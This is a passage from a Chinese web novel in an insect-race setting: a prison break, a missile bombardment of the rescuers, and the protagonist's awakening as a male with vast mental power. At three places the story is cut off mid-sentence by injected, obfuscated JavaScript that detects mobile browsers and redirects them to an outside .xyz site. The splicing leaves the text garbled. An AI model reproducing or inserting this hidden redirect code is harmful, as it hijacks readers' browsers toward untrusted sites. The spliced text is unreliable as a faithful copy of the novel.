左伦安抚他:“当然,您还没有成年,心智尚未成熟,受到欺瞒是很正常的。” 他抬手,罗西上前摘下了何慈林的终端,并用信号探测器扫描了他周身,确认他没有携带监听、录像等微型设备。 左伦说:“请您理解,这是为了安全考虑。” 何慈林抿唇,微微点头。在他准备迈步进入大门的时候,门边的左伦再度出声。 高大的雌虫注视着他,烟灰色的眼珠透着无机质的冷漠色泽,表情却是温和的,细细的笑纹恰到好处地刻在眼角。 他说:“过去的一切是由于您受到里面那个亚雌的蛊惑,希望您这次能够看清真相,勇敢地给自己、也给利都关注着这件事情的民众一个交代。” 何慈林走进了这栋建筑。 罗西留在了门口,里面另外有亚雌警卫给他引路。他们没有往楼上,而是往楼下行去,道路曲折幽深,金属墙壁反射着惨淡的光线,似乎连空气都比外面更冷。 所经之处沿路布满了摄像头,另外要通过两道安全门,带路的警卫分别用指纹、虹膜进行验证开门。直到他们大约走到了地下三层的位置,才终于停下。 警卫抬手向前方示意,何慈林缓慢朝那座单人囚室走去。 待了十五分钟,何慈林转身离开。 警卫带着他返回,忽然耸动鼻尖,闻到空气中漫开混杂着血腥气的属于雄虫信息素的味道。这气味较先前浓郁得多,他转头一看,身后的雄虫或许是受了很大刺激,面色苍白,神思不属的模样。嘴唇被自己无意识咬破,此刻正淌出鲜红的血珠。 他忍不住宽慰一句:“无论如何,您能看清真相就是好事。” 何慈林仿佛勉强回神,对他笑了笑。警卫不再多说什么,重新转回头,在他转头那刻,何慈林无声呼气。藏在袖口的刀片因对方突然的搭话更深地割开小臂皮肤,流下的血液兜在牢牢束紧的衣袖内。 走上一楼,何慈林穿上了带着的外套,畏寒似的藏住半个手掌。出来后,左伦已经不在了,罗西和另一个常出现在政务头条版面的雌虫站在门口。 那个雌虫着重看了眼他咬破的嘴唇,放缓声音问:“他辜负了您的信任,是吗?” 何慈林握着双手,轻轻点头。 雌虫便鼓励地笑了笑:“不知者无罪,如果您能认清里面的是个罪犯,法律将保护您不受罪行的波及。想来民众也会支持这一点,您明白吗?” 何慈林和他四目相对:“......我明白。” 雌虫满意地让罗西送何慈林离开。 然而,让他们没想到的是,何慈林回到LE区的那刻,有一批凶悍无比的暴徒收到消息,已经悄无声息地潜伏到了附近。 一切发生得有序、果断,迅速地叫官方猝不及防。先是两个双目赤红,显然陷入暴徒化中后期的雌虫在警局不远处发生冲突,继而虫化暴走,争斗中将路过的雌虫也卷入其中。混乱骤然爆发,暴徒化的雌虫破坏力巨大,为求自保路过的雌虫被逼虫化,几个钳制在一起的巨虫从警局门口一路往后方翻滚而去,沿路地砖层层开裂。 警局的警员和后方建筑的警卫同时跑出,空隙间,索玛带领暴徒们直入圆型建筑的大门。 警报骤然响起,索玛干脆利落地斩杀第一批循声而来的警卫,挖出眼珠,砍下手指。一行暴徒循着空气中残余的何慈林信息素的气味毫无停歇向着地下狂奔,第一道安全门验证指纹通过,第二道安全门验证虹膜通过,沿途暴徒们迅速击杀遇见的警卫与穿着白大褂的研究员,直到信息素气味的终点——那间单人囚室,却发现乌舍已经不在里面。 索玛当机立断,下令让暴徒们在这层铺开搜寻。搜查时一个暴徒撞上准备逃跑的研究员,抓住对方后逼问出了乌舍的下落。当他们赶到实验室,透过单向玻璃墙,正看见浑身赤.裸的乌舍躺在实验床上,敞开的淡蓝色长袍如同两片丧失生机的虫翅,研究员手中的手术刀正要剖开他的腹腔。 跟在索玛身侧的巴拉太怒吼一声,骤然虫化出长且狰狞的沉重尾部。布满尖刺的虫尾重重撞击玻璃,连续三声钝响,尖刺折断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357335|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的同时玻璃也爬出道道裂纹。 索玛扑上去一拳砸碎玻璃,暴徒们翻身而入,第一时间挟持了两名研究员。索玛合拢乌舍的衣袍,原本闭目不动的乌舍在这一刻忽然睁开双眼,张口却没发出声音。 时间紧急,索玛没有发现他的异常,转身将他放上巴拉太的后背。雌虫的尾部一圈,将他牢牢护在背上。 暴徒们原路返回,刚跑出地下通向一楼的出口,就被手持枪械的警卫团团围住,黑洞洞的枪口整齐地对准他们,警卫中身穿制服的罗西面沉如水。 索玛动了动耳朵,发觉外面的声响已经停歇,派出去吸引官方注意力的两个暴徒大约已经被控制。 他舔了舔口腔内部,感受到牙关咬紧后隐隐渗出的血腥气,偏头看了一眼身侧虚弱趴在巴拉太背上的乌舍,索玛仰头高吼一声,骤然虫化。 大刀螳螂庞大锋利的前刃透出冰冷的寒芒,在他的带领下暴徒们纷纷虫化,顿时,巨大的虫类堵满了地下通道。 一只只狰狞的巨虫睁着猩红的瞳孔向外突围,罗西深深望着被虫尾包裹覆盖的乌舍,挥手下令。枪声大作,特制子弹从枪口喷吐而出,击中虫身后立即产生小范围爆炸,在坚硬的虫壳上留下焦黑的烧痕。 枪声,爆炸声,虫群的嘶吼和嗡鸣,混杂着冲击乌舍的大脑,他的耳膜阵痛,勉力想抬手捂住耳朵,却只是动了动手指。 ——他醒后被研究员涂上了胶质药物,在等待药物发挥作用期间,他瞥见了放在实验台上的药瓶瓶身书写的使用说明。 是用于保持皮肤、内脏组织活性状态的活性剂,也就是说,他现在就是一块保鲜中的肉。 乌舍原本已经接受现实,但不知过了多久,研究员们去而复返,看见他醒了也不惊讶,大概是已经过了镇定剂的有效期,随即又给他补了一针。 这支针剂的效果与镇定剂不同,乌舍仍然是清醒的,只是四肢脱力,也无法出声。 他们给乌舍换上囚服,将他转移到单人囚房。 正当乌舍诧异于左伦怎么改了主意,不多时忽然听见脚步声,隔着一扇玻璃窗,意外地看见了何慈林的脸。 乌舍与何慈林隔着玻璃窗对视,目睹对方的双眼迅速发红,心下叹息的同时敏锐地觉察出了不对。 左伦如果想利用何慈林,把他拉入政府的阵营,将其培养成下一个“雄虫偶像”,或者只是想要让何慈林配合坐实他的罪名,不是不可能。 但左伦先前的态度,显然是放弃了“雄虫偶像”、发挥出头鸟效应这条路。照研究员先前的讨论,他的下场应当是在实验室被解剖,供于所谓的“雄虫退化论”的研究。 肉都保鲜好了,忽然改变主意不太可能,那么就只能是眼前这个雄虫做了什么。 玻璃窗外的何慈林金发灿烂,面颊苍白,身形依然瘦削。落过来的视线却很坚定,仿佛已经下了某种决心。 从来只是把对方看做信息素原料供应体的合作者,并且不以死亡为怵的乌舍承接这样的眼神,几乎升起迷茫的情绪。 32. 第 32 章 接下来,何慈林的表现验证了乌舍的猜想。 他被注射药剂,无法动作也无法出声,只能睁着眼睛,看着何慈林拿起门外的话筒,自顾自地对他讲话。 “你真的是亚雌吗?” “为什么要骗我说你是雄虫,收集我的信息素只是为了做香薰?” “仿雄虫信息素香薰只是借口对吗,实际香薰里真的含有我的信息素。我拿到的不是技术分红,而是犯罪脏款。” 他的声音从门内的听筒传出,让乌舍明白了他是以什么样的说辞,让当局同意他来到这里。 但他来了这里之后呢?这个举动的意义是什么? “你只是利用我。”何慈林最后哽咽着说,站在他身后的警卫露出怜悯的神色。他望着乌舍,仿佛是在控诉,低低地说:“你就等着吧!” 乌舍若有所觉,看着他转身离开。何慈林走后,他被研究员从单人囚房转移回实验室,重新换上长袍,做好一系列前期准备。乌舍目睹在惨亮灯光下近乎刺目的手术刀的刀锋,在这个世界第一次没有了拥抱痛苦和死亡的坦然。 他有了一分好奇,一分惦念。 他在等。 接着由索玛带领的暴徒重重撞碎玻璃墙,他被虫类的长尾遮蔽于枪林弹雨之下,听着身下的雌虫低沉的痛嘶。一个个警卫被虫群的前肢捅入肚腹,削去头颅,巨虫的虫壳一片片剥落,肢节断裂落地,鲜血和硝烟的气味填满了这片空间。 尸体陈横,血流满地。无论是虫形还是人形,虫族流出的血和人类一样,都红得刺目。 索玛带着虫群抱团,强行在包围圈中撕开破口,闯出了地下通道。巴拉太卷着乌舍奔向大门,罗西站在警卫队残余的队员中,没有拦他。 擦肩而过时,这个总是克制自己不露丝毫情绪的雌虫突然开口,那声音竟有几分悲悯。 “没用的。”他的视线掠过乌舍,低声说:“我会记得你。” 虫群汹涌而出! 然而,冲出大门的瞬间,虫群就停在了原地。建筑外不知何时已经清出了一大片空地,周围的民众被疏散干净,一架架小型导弹发射器横列前方,校准器的红光雨点般落在了虫群中。 虫群不可避免地骚动起来,逐渐后退,甚至想各自四散飞起。但脱离了建筑内部军用级信号屏闭器的遮蔽,政府为控制暴徒植入于他们体内的芯片开始发挥作用。 警方中控系统下令,芯片发出高压电流。身体内部遭到重击,虫群身躯纷纷颤抖,凄鸣着匍匐在地。 罗西带领门内的警卫撤出,导弹即将发射。索玛挡在最前方,扬声开口。 “从进入这栋建筑起我就用终端录下了视频,镜头如实记录了你们打算对阁下实施的酷刑。如果现在我们死在这里,视频会直接上传网络,民众会亲眼目睹你们对待雄虫的暴行!” 警队中的指挥官面朝着他,手持通讯器,从中传出坐镇后方的左伦的声音。 “重罪犯亚雌乌舍鼓动暴徒劫狱,杀害警卫无数,做出暴行的是你们。政府只不过是在履行职责,维护更广大的民众的利益。” “但乌舍阁下是一位雄虫!” 索玛嘶声开口:“没有虫纹又怎么样?你们分明闻得到他的信息素!你们是在亲手残害雄虫,雄虫在万年前流的血已经够多了,整个种族万千年来的努力才有了现在的局面,你们到底想干什么?把它们全部毁掉吗?” “当今的局面是所谓‘努力’的结果吗?用沉默的大多数含耻忍辱、委曲求全换来的未来,能是多么光明的未来?” “况且,这个亚雌的信息素是他从真正的阁下那里得来。”左伦坐在监控器前,透过高清镜头注视着伏在巴拉太背上的乌舍,声音变得缥缈,其中又渗出无法言喻的森寒。“你说他是雄虫,有什么证据证明,又有谁会知道呢?” “开火。” 炮弹倾盆淋下,小型导弹中加入了浓缩的白磷,爆炸后白磷会自燃持续腐蚀接触到的物质——这原本是为了征战和抵御星际敌人,现在却调过头来将炮口对准了己方。 巨虫们在弹雨中高声嘶鸣,高频的振动声和导弹爆炸声裹挟在一起,几乎震破耳膜。虫群与生俱来的强悍防御力被腐蚀性弹药轰出口子,坚硬的虫壳融化成一滩滩污迹,滴落在地冒出缕缕白烟,连带地面也变得坑洼不平。 被保护在虫壳下的皮肉内脏裸露出来,在高温下炸开狰狞的伤口,有些天生更为脆弱的雌虫科属,皮肤表层直接被高温蒸熟,连血也流不出来。 空气中弥漫着奇异的气味,充斥鼻腔,令人作呕。 乌舍睁开眼睛,缓过那一阵近要把五脏六腑甩出喉咙的晃动后,发现自己浑身毫发无伤。他被巴拉太反躬起来圈住,厚重的长尾将雌虫整个身体连同被护在最中央的他团团缠绕,分布在长尾两侧的尖足如同锯齿般相互咬合,只从被炸开的凌乱破口中漫进灰暗迷蒙的天光。 他怔怔的,动了一下,长尾立刻收紧。通过缩小空间,把破口处重新裹住了。 轰—— 又是一阵无可躲避的震动,有过经验的乌舍这次清晰地感受到身下雌虫骤然紧绷的身体。疼痛的凄叫从四面八方传来,回荡在这小片漆黑的、由雌虫身躯构成安全屋里,他听不到巴拉太的鸣叫,也许这片空间难停歇的震颤就是对方的鸣叫。 他听到了索玛的吼声,曾经在星际战场上拼杀的上尉带领暴徒残余的力量,试图搏出一条生路,守护新的信仰。 索玛本可以不来的,他们都本可以不来的。 不知过了多久,天塌似的的声响才渐渐轻了,连带虫群的吼声也微弱。牢固的安全屋裂开道道缝隙,烟尘倒灌进来,乌舍呛咳着仰头,目睹巴拉太圈紧的尾部失去力量。上面遍布的尖足只剩零星,长尾通红斑驳像条烧干的火炭,猛地砸落在地后虫壳因冲击力顷刻粉碎。拂起的粉尘和硝烟齐齐卷入灰橘色的天空。 乌舍用力直起身体,强行让无力的四肢支撑自己站了起来。 他这才看见,巴拉太身旁倒满了巨虫的尸体。他们以一种团团包裹的姿态散落在以乌舍为圆心的周边,不难想象导弹落下时他们是怎样一拥而上隔着巴拉太将他团住,构建层层虫躯壁垒,最后在无穷尽的弹药下四分五裂。 扩目望去,鲜血被高温融进地表,变成不详的暗红。索玛一边前肢已经没了,大刀螳螂靠着仅剩的左肢插在地面叫自己不至于倒下。他身后苟延残喘的巨虫们勉强保持着冲锋的阵型,却如被锈迹侵蚀的尖刀,凌乱、斑驳、不成模样。 他看见前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357336|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方一字排开散发着钢铁雄威的导弹发射器,看见新装上的弹药。持枪紧密列阵在前的警卫队面无表情,指挥官手持通讯器,站在装甲车上评估虫群的剩余战力。罗西站在他身侧,制服被风吹得猎猎作响,像一面终于竖起的旗帜。 乌舍想起对方曾在自己刻意的逗弄下偶尔流露窘迫的情绪,但更多时候八方不动,好似有什么值得一往无前的理想,占据了他全部心神,高悬于远方。 “罗西,你车开的不错。不如别和那位执行官干了,我雇佣你吧。” “阁下,别说笑。” “怎么,他开的工资很高吗?” “我听命执行官不是为了这个,我相信他的决策,我们有决心要做的事。” 乌舍低头,巴拉太还在呼吸,他的心脏在胸腔中跳动,身体微微起伏。似乎察觉到他的注视,雌虫艰难地躬起身体,尾巴抬离地面,想要把他再度裹入其中。然而,那条丧失生机的长尾只不过上抬了五十公分,就颓败地重重落下。 巴拉太发出低沉的粗喘。 在他第二次试图抬起尾巴的时候,乌舍缓慢地半蹲下来,手掌压在他背上,止住了他的行动。 他由衷的不解,垂下眼睛问。 “为什么?” 为什么呢?如果说他和索玛还算有些渊源,凭借持续的供血让索玛愿意为他卖命,那这个只和他不近不远见过一次,连话都没说过的雌虫,这些倒在地上,大部分甚至已经丧失生命的雌虫,这些只是付钱购买了他香薰的暴徒。 他们凭什么为自己而死? “阁下......” 巴拉太像是明白他的不解,声音从硕大的躯体中透出,几乎是通过振动的形式传递到乌舍身上的。 “您或许、觉得不理解,但、保护雄虫,是我们的宿命,是本能。” “况且,我们都是暴徒啦,迟早......是要死的。是要头痛不停,得不到精神力抚慰,没有希望的就这样逐渐失去理智,疯狂地死去。” “在这里的雌虫,都是得到过您的信息素的。那真的、是我们陷入暴徒化后,唯一、唯一的指望。因为有了您,我们的生活,才算是生活。我们不希望香薰断供,更不希望您被扣上污名杀害,如果生命注定痛苦终结,我们希望能在您之前死去。” “我们希望,能用自己的命......换您活下去。” 乌舍喉咙干哑,在这一刻仿佛失去声带。前世屡次用尖刀划向自己手腕的画面和苏醒后毫无重生窃喜的情绪像冰冷的绳索勒住他的脖颈,逼迫他看清为了让自己活下去而发生的一切。 尸体、鲜血、硝烟。 他想起导致他父母双亡的那场车祸,最后停留在他视网膜上的是母亲解开安全带朝他扑过来的身影。 察觉到巴拉太的呼吸越加微弱,他屈起麻木的双腿,伏在对方背上问。 “你有什么愿望吗?” “愿望啊?”巴拉太浑厚的声音低低的,“如果可以,我想最后再感受一次,被您的信息素拥抱。” 前方,指挥官听完通讯器中的指令,挥手指向暴露在虫群中毫无遮蔽的乌舍。新装的一枚导弹调转方向,校准器的红光落在乌舍的心脏。 他说:“射杀那个罪犯!” 33. 第 33 章 轰鸣声中炮弹射出,直指乌舍。巴拉太猛然怒吼一声,干裂的尾部奇迹般折起,挡在乌舍前方。 ......而在更前面的地方,前肢断裂、浑身是伤的大刀螳螂忽然跃起。 他身上的虫壳早已破烂,却毫无动摇的以身躯迎向导弹。非防御力见长的螳螂属毫无保护的肌理在弹药下炸开网裂的伤口,鲜血在半空喷涌而出,在被硝烟搅浑的灰橘天幕下反射出诡异的色泽。然而,没等他从半空坠落,第二枚导弹已经呼啸而至! 大刀螳螂浑身电击般抽动一下,猛然昂首,竟一口将射来的导弹吞了下去! 沉闷的,近乎无声的爆炸在皮肉下响起,连同虫躯砸落在地的闷响,以及地面受撞击后龟裂破碎的动静。 一切就那么发生,大刀螳螂的腹部骤然明亮,刺目的光线和火焰从他腹腔中狰狞破出,带着淋漓的血与肉。索玛维持不住虫形,恢复人身蜷缩在地,右手大臂以下尽空,肚腹的洞口像一只漆黑的眼睛。 他在乌舍眼前坠落。 乌舍大脑发烫,神经、左肩和四肢百骸骤然传递来难以言喻的痛苦,有什么从内部将他撕开。他的五感一瞬间变得无比清晰,捕捉到虫群每一道微弱的呼吸,地表烤焦的气味,前方第三枚导弹开始填装的声响。 往远处,警局中控大楼内左伦叠腿坐在监控器前,冥冥中他和这位狠辣果决的执行官进行一次对视。 更远的地方,LE家中A13滴滴叫着打扫卫生,隔壁何慈林皱眉坐着,让何冬塞给他重新包扎小臂渗血的刀口。放逐区暗流涌动,泰诺斯身后和对面各集结着一帮暴徒,他指着叼在虫化的陈林嘴里的试管,那是他原本装在冷冻箱里预备留给索玛的两管血之一。雌虫大吼:“这是跟我去救阁下的报酬!信息素浓度不是香薰能比的!想想你们没了雄虫还能活多久!敢他妈上来抢老子让陈林马上咬爆了吞下,一滴血腥子都不给你们留!” 整个主城区,乃至整个利都星,数不清的雄虫、亚雌、雌虫在家中行走活动,窃窃私语。他们点击着终端,议论网上最热的“亚雌假冒雄虫获利”事件,无数谩骂、驳斥,舆论的浪潮在利都星上空汇杂。 乌舍站起身体,说:“够了。” 填装导弹的警卫的身体顿了一下。 导弹在短暂的停顿后重新上架,校准器的红光射来,垂死的索玛微微抬头,脚下匍匐着低低呼吸的虫群挪动着身体朝他聚集。 乌舍完全直起脊背,狂做的大风席卷他在弹雨下凌乱松垮的衣领,长袍在侧颈处的系带散开,浅蓝色长袍上半部分大敞着垂落腰间,露出苍白瘦削的上身。 他重复了一遍:“我说,够了!” 随着他的话音落下,左肩处,那颗红痣有生命般蓦地凸起,接着从中攀爬出猩红的纹路。错杂蔓延、交织,转瞬覆盖了他的左肩,迅速朝着整个脊背生长。 与此同时,如同某座沉眠的火山爆发,原本应有的惊天动地的轰鸣被压抑成无声的气浪,以乌舍为圆心无限地扩散开去。那沸腾似火山岩浆的无形之物有着焚寂一切的疯狂、暴虐,但当这股滚烫的热流淹没在场的虫群和警卫,淹没主城区,淹没整个利都所及之处,在灭顶的压力后,是和灰烬一般落在身上的冰凉缥缈的柔和气息。 ——那是雄虫的精神力。 雪山和岩浆对撞,冰块燃着烈焰焚烧,死亡之后的新生......炽热又凌冽的信息素在乌舍的精神力骤然爆发的那刻飞速扩张,裹挟着风与尘埃,掠过利都的每一扇窗户,卷着沿路不敢置信的惊呼以及震撼的悲泣高高卷上天际,仿佛神迹降临时的奇异仪式。 乌舍身下的巴拉太感觉自己负担重压的大脑忽然一轻,经年沉珂被一荡而空。随着大脑的轻盈,他的自愈能力迅速提升,脱落的虫壳下的狰狞伤口闭合止血,骨头断裂、外皮烧干的尾部骨骼重新连接立起,如沐新生的感受让他不由自主高高昂首,发出痛快的嘶吼。 不止是他,在场仍有呼吸的雌虫气息都趋于平稳,一片片血肉模糊的肌理飞快愈合,匍匐在地的虫群逐渐站了起来。尖锐锋利的足肢撑起庞大的身躯,嘶吼声高低起伏,最终汇成整齐的尖啸,像是进攻的号角。 乌舍高站在巴拉太后背,虫群的啸声已不再让他觉得刺耳。他没有开口,巴拉太却明白了他的心意,自发舞动长足来到蜷缩在地的索玛身边,用尾巴小心翼翼地勾起他,放在了背上。 索玛的气息微弱,他的内脏被导弹炸空了,两段身体仅靠一层皮肉连着。在雄虫精神力的笼罩下,他的神情安宁,睁着退去血丝的天蓝色眼睛定定地望着乌舍。 乌舍俯身和他对视,明确地知道,对方的生命已经进入了倒计时。 “阁下......”索玛呛出一口血,笑着说:“我就知道、当您成长的那一刻,您会是最、最耀眼的存在,比我想象的还要更加,不可思议。” 乌舍说:“但是我救不了你。” 索玛说:“不,您已经救了我。” 他前小半生活在战场上,现在也将倒在硝烟与鲜血里。雌虫在浮动的冰凉的信息素笼罩下缓缓闭上眼睛,唇角的弧度不曾变过,低声喃喃:“这是我成年之后,一生中最轻松的时刻。” 索玛的呼吸声停了。 乌舍猛地扬起头,身后的虫群随他心意发出凄厉的长鸣!——他保持仰头的动作顿了几秒钟,才缓缓看向前方列阵的警卫队。 对上他的视线,警卫队中不论是雌虫或者亚雌,包括指挥官和罗西在内,在得到命令之前,身体已经先一步朝侧边退开,为虫群让出一条离开的路。 乌舍哑声开口:“走。” 虫群如漆黑的潮水般朝外涌去,眨眼间就离开了这片血染之地。没有警卫阻拦他们,正面承受乌舍精神力的警卫队的感受与虫群截然不同,他们的大脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14357337|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛受到重锤,头疼欲裂,直到虫群飞驰走远了才好些。 乌舍领着虫群直奔放逐区而去,存活的暴徒们大部分都有虫翅,具备飞行能力。为了加快速度他们从地面转向天空,中途,乌舍调转方向前往LE区。他让变为人形的巴拉太背起索玛的尸体进入曾经的家门,勒令A13采集索玛的身份信息。 他半跪在迷茫的机器管家身前,索玛的尸体被平放在地上,面容安详。 A13作为政府分配的雄虫监护机器人,全方位监控着雄虫的生命体征,遇到紧急情况会第一时间同步向医院和警方报警。基于它的功能判断,它大概率具备采集雄虫基因信息的能力,既然雄虫可以,雌虫就也可以。 乌舍笔直地注视着A13,问:“你做的到吧?” A13睁着黑色豆豆眼点头,机械食指变成尖刺,扎了一下索玛的皮肤,收集了他的血液,又剪下他的一段头发放进肚子里进行DNA信息录入。做完这一切,它邀功似的看向乌舍。 乌舍低声说:“做得好。” 接着,他暴力切断了A13的电源,巴拉太单臂抱着机械管家,单臂扛起索玛的尸体跟在他身后出门。虫群在LE上空振翅,嗡嗡的声响好像雷鸣后的一场大雨,虫躯的阴影笼罩下来,整个住宅区的光线都暗了几份。 住宅区几乎所有窗户都打开了,一张张或漂亮、或俊气的脸从窗户里探出来,注视着站在灰色道路上的乌舍。 乌舍环顾一圈,精神力掠过每个雄虫,最后落在了已经走出家门,站在不远处的何家兄弟身上。 “跟我走吧。”他望着他们,“你们已经不能在这里生活了。” 何冬塞没说话,从他没有拦着弟弟参与对乌舍的救援起,其实已经做出了选择。现在他们已经无法留在利都,只能跟随对方一同奔向未知的未来——何冬塞原地虫化,虫鳞寸寸覆盖皮肤,红锯蛱蝶艳丽庞大的身体占据房屋之间的间隙。何慈林被坚韧细长的蝶须缠绕着,安置在了蛱蝶背部。 停留在上空的一只蜓科雌虫下降,载起乌舍和巴拉太,随着他们升上天空,留在LE区的雄虫们也跟着仰头。不同形状的窗户笼一般框住他们的身体,不同气味、不同感觉的信息素蔓延出来,追着乌舍的背影而去,直至被狂风吹散,好似一场寂静而盛大的送行。 虫群飞往放逐区,在他们越过耸立的高墙和电网的那刻,僵硬在监控器前的左伦总算从巨大的精神压迫和心灵震撼中回神。 他的终端也像完成了从死亡到复生,无数消息和通讯涌了进来。同僚的恐慌、政敌的诘问、研究员的不可置信......他们亟需一个确切的答案,关于乌舍精神力等级的判定,关于这件事如何收场。 与此同时,随着索玛的死亡,他的终端录制的现场视频自动上传星网,为连日来一波三折、跌宕起伏的事态发展拉起最高.潮、最盛大的终章序幕。 34. 第 34 章 利都星彻底乱成了一锅粥,先是有雌虫在网上语无伦次地表明他住的小区所有居民都感受到了一股不知从何处而来的精神力,忽然被雄虫的信息素来了场精神洗礼。没料到的是一石激起千层浪,无数网友纷纷表示自己也感受到了那股震荡的精神力。 “就像是把我的脑袋摁进积雪里,用被冻得冰凉的耳朵倾听火山活过来的声音”——受到精神力冲击的某个网友这么说,获得了大量的认同。 而当越来越多的网友加入讨论,他们便发现了这件事的恐怖之处,同一时间、不同地点,几乎整个利都的民众都感受到了那股精神力的扫荡,这得是多么恐怖的精神力等级,才能覆盖这么大的范围? 更恐怖的是,有医科大的学生和去中心医院脑科治疗过的患者,以及在《星际野望》游戏中购买过香薰的玩家都站出来表示,他们闻到过的乌舍出手的香薰气味以及乌舍本人的气味,和这股在瞬间弥漫了全利都的信息素味道一致。 可是依照官方的说法,乌舍是个没有虫纹、顶替雄虫的亚雌,他身上的信息素完全依赖从雄虫身上提取的信息素制成的香薰进行伪装,这股信息素真正的主人、真正的雄虫阁下已经失踪,很大可能是被乌舍囚禁在某处。 难道被囚禁的这位阁下其实并非E级?或者是在折磨下二次进化,突破时造成了精神力暴动? 在震惊、猜测、争论间,来自索玛终端的录制视频自动上传各大网站,画面以幽暗扭曲的地下通道为起始,伴随着暴力和杀戮,中段出现网友们都熟悉的身影。 乌舍躺在实验台上,手术刀的刀刃几要触碰到他的皮肤,虫群破墙而入救出了他。接着是蜂拥来的警卫队和闯出大门后无尽的弹雨。被护在虫壳内的终端受到导弹冲击后发生画面的模糊和声音的畸变,然而,在这样凌乱、嘈杂的画面与声响里,镜头仍然忠实地记录下了从雌虫脊背上站起来的乌舍。 记录下他的衣袍翻飞,裸露苍白的皮肤。左肩处初生的虫纹如有生命般越过肩膀爬向心脏,他高高地站在那儿,目睹战火与牺牲,投向镜头的视线透着难以言说的悲悯。 他看着的是终端的所有者,目光不曾落向镜头,镜头却恰好对准他,好像一支从硝烟中悄然竖起的旗帜。 画面中断在乌舍带领虫群离开的那刻。 整个利都星网络因为这个视频有短暂的死寂,查阅过视频的观众都感受到一种震撼,死寂过后是反扑的沸反盈天,政府盖棺定论的“假冒雄虫”犯罪论不攻自破,视频说明一切,现场残留的战后废墟做不得假,乌舍就是乌舍,是个真正的雄虫。 而且还可能是,极为罕见、未成年就二次进化,难以评估精神力等级的雄虫。 舆论的声音逐渐汇聚成一条直线,政府污蔑乌舍,羁押他,是不是早就发现了他的潜力,想通过解剖和实验挖掘出他精神力等级的秘密? 质疑声高度凝聚,如刀锋架在当局脖颈上。然而,群众没能等到解释和谢罪,网络上的视频被封禁,相关词条也被禁言。有网友迫切地想和其他星球的网友分享这个惊天事件,却陡然发现无法发送消息,利都对外网的链接已经单方面中断,只能使用星球内的局域网。 舆论浪潮更高,雄虫联合向政府施压,雌虫和亚雌民众上街游行抗议,横幅飘扬。 在放逐区,乌舍站在了所有暴徒面前。 通过来接应的泰勒斯和陈林口述,他知道了留在这里没参与救援行动的暴徒都是没接受过他的信息素的,他们或是购买了太阳花,或是买不起香薰。而在乌舍身后,跟着他回来的幸存者为数无几。 泰勒斯本来想用乌舍的血液利诱剩下的暴徒参与救援,但当乌舍的精神力从远方直抵放逐区的那刻,他知道不再需要任何手段,没有雌虫能对拥有这样精神力的雄虫说不。 他将装在试管里的血液递给乌舍,询问:“我们是否能为您做些什么?” 乌舍沉默着摇头,接着,他让泰勒斯和陈林将索玛埋葬在放逐区的边界。再往外走一段距离,就是高高耸立的电网围墙,再后面是通往城区的列车。 他踏进放逐区遇见的第一个雌虫是索玛,送他从放逐区离开坐上列车的也是索玛。他怀抱着利用的心思,走出围墙的时候刻意放慢脚步捕捉身后雌虫的脚步声,也在围墙之内与雌虫四目相对,收获对方宣誓的忠诚。 乌舍静静注视着索玛的身体消失在地表,新翻出来的泥土掩埋了他的皮肤。 他走上前,把原本给对方预备的血从左往右横浇了下去,拉出了一条极富警告意味的腥红线条。隔着浩大的空间,千里之外在会议室中争执不休的政客们忽然噤声,某种巨硕的压力兜头而下,他们在恍惚间对上了乌舍漆黑的眼睛,看到了那条隔开放逐区与外界的红线。 政客们在这个瞬间明白:这里禁止侵入。 与此同时,在浓稠的精神力渗透下,埋入地底的雌虫尸体忽然恢复成虫形。伤痕累累的巨形大刀螳螂骨架破土而出,焦黑残破的虫壳上染着渗进土壤的鲜血,仅剩的一柄前肢历经硝烟仍然锋利无比,弯刀似的矗立地面,插在血线正中,如同静默的守碑。 乌舍望着反射寒芒的雌虫骨架,眼前一黑,大脑阵阵眩晕,鲜血同时从口鼻涌出,喷溅到地面上。 一直紧挨着兄长虫形站着的何慈林上前,眼疾手快地扶住了他。 身后传来真情实感的、担忧的惊呼,乌舍转过身,面朝着带给他金钱,又救回他一条命的暴徒们,哑声说。 “我要走了。” 巴拉太和泰勒斯怔怔地望着他,陈林忽然问:“我们还能再见到您吗?” “也许吧,也许我会回来。”乌舍淡淡地笑了笑:“总有一天。” 他和何家兄弟离开放逐区,去和菲拉洛汇合。之前他在考A类驾驶证,始终没能腾出手购买星舰,在被政府盯上之后,他就将星舰购买事宜全权委托给了菲拉洛,并早在一个月前对方就拿到了从利都飞往冥王星的通关申请。 虽然他们签了电子合同,但以乌舍目前的状态,就算菲拉洛违约了他显然也无法寻求法律的保护。把离开利都的退路交到一个只有一面之缘的陌生雌虫手上,无疑是一场豪赌。 